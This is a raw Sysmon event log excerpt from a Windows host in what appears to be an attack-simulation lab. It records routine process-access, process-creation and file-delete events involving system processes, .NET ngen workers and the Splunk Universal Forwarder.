10341000x800000000000000045299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.368{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7F-613B-4B0A-00000000F001}6752C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.368{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7F-613B-4B0A-00000000F001}6752C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.248{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F7F-613B-480A-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.248{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.248{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.248{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.248{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.238{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7F-613B-480A-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.238{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F7F-613B-480A-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000045290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.109{7BD73061-6F7F-613B-480A-00000000F001}2120C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000045289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.208{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D726C54A0821F581DA6C89BB61E67C1B,SHA256=59E33D940D92D768D39240FA2BFDDCD595EBB0ABC628D14C2F506BBC953B4F75,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.198{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7F-613B-4A0A-00000000F001}7044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.188{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7F-613B-4A0A-00000000F001}7044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.188{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7F-613B-4A0A-00000000F001}7044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.148{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7F-613B-490A-00000000F001}1916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.138{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7F-613B-490A-00000000F001}1916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.138{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7F-613B-490A-00000000F001}1916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.921{7BD73061-6F80-613B-590A-00000000F001}71405168C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.841{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F80-613B-5B0A-00000000F001}6368C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.831{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-5B0A-00000000F001}6368C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.831{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F80-613B-5B0A-00000000F001}6368C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.801{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F80-613B-5A0A-00000000F001}5820C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.791{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-5A0A-00000000F001}5820C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.791{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F80-613B-5A0A-00000000F001}5820C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.771{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=538A71F1552BEDDCC55932AB1EB001F0,SHA256=EEF96C10774A1E6F9C80857F06D58BAE95513590081B96C59C07E0079099192A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.751{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0714492D8BB3752797591B1FE17C1002,SHA256=145DA8A61D9EC6B519D6E70E040C18AF26765AF27A6980C309953873E1B91B64,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.751{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F80-613B-590A-00000000F001}7140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 